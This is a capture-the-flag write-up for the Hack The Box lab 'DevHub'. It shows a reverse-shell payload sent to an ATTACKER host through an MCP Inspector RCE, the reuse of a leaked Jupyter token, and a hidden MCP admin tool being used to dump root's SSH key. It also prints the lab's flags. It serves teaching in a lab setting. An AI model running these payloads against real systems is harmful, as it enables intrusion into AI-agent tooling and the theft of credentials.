Back to writeups
HTBmachineMediumsolved

DevHub

13 Jul 2026 · by 0xIDA

Solvers

DevHub (HTB Medium Linux)

Author: 0xIDA

Solvers

Summary

MCPJam Inspector on :6274 allows unauth RCE via CVE-2026-23744 (POST /api/mcp/connect with serverConfig.command). Shell as mcp-dev. Local JupyterLab token is in process cmdline → kernel WebSocket code exec as analyst (user flag). OPSMCP on 127.0.0.1:5000 with API key from ~/.opsmcp_key exposes hidden ops._admin_dump → dumps root SSH private key.

Flags (live-verified)

User: 0ea86eceb7f2e3ae0510a2b2ee198e14
Root: f460bd014a02f849a181580a0855bbcb

MCP submit: user + root success.

Solution

1) Recon

22/tcp  OpenSSH
80/tcp  nginx — DevHub landing (MCP Inspector :6274, Jupyter localhost:8888)
6274/tcp MCPJam Inspector

2) User foothold (mcp-dev)

curl -X POST http://TARGET:6274/api/mcp/connect \
  -H 'Content-Type: application/json' \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/ATTACKER/4448 0>&1"],"env":{}},"serverId":"x"}'

3) Lateral to analyst

ps aux | grep jupyter
# --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

POST /api/kernels, WebSocket execute:

print(open('/home/analyst/user.txt').read())
# plant authorized_keys

User: 0ea86eceb7f2e3ae0510a2b2ee198e14

4) Root via OPSMCP

# as analyst
cat ~/.opsmcp_key  # opsmcp_secret_key_4f5a6b7c8d9e0f1a
curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
  -H 'Content-Type: application/json' \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
# write root_private_key → ssh root@127.0.0.1

Root: f460bd014a02f849a181580a0855bbcb

Tools

nmap, curl, reverse shell, pure-Python WebSocket (Jupyter kernel channels), SSH.

Pitfalls

  • Jupyter token only visible in process argv (no network to pip on box).
  • OPSMCP /tools/list hides _admin_dump — read server.py or call _debug_mode.
  • Port 5000 / 8888 are localhost-only — pivot from mcp-dev/analyst.